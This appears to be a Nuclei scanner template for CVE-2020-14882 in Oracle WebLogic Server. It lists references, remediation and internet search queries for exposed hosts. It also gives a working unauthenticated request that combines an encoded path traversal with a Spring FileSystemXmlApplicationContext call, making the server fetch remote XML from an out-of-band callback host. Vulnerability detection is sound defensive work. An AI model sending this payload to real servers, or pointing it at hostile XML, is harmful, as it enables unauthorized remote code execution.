Oracle Weblogic Server - Remote Command Execution

id: CVE-2020-14882

info:
  name: Oracle Weblogic Server - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.
  remediation: |
    Apply the latest security patches provided by Oracle to fix the vulnerability.
  reference:
    - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://twitter.com/jas502n/status/1321416053050667009
    - https://youtu.be/JFVDOIL0YtA
    - https://github.com/jas502n/CVE-2020-14882#eg
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14882
    epss-score: 0.99997
    epss-percentile: 0.99988
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve2020,cve,oracle,rce,weblogic,oast,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
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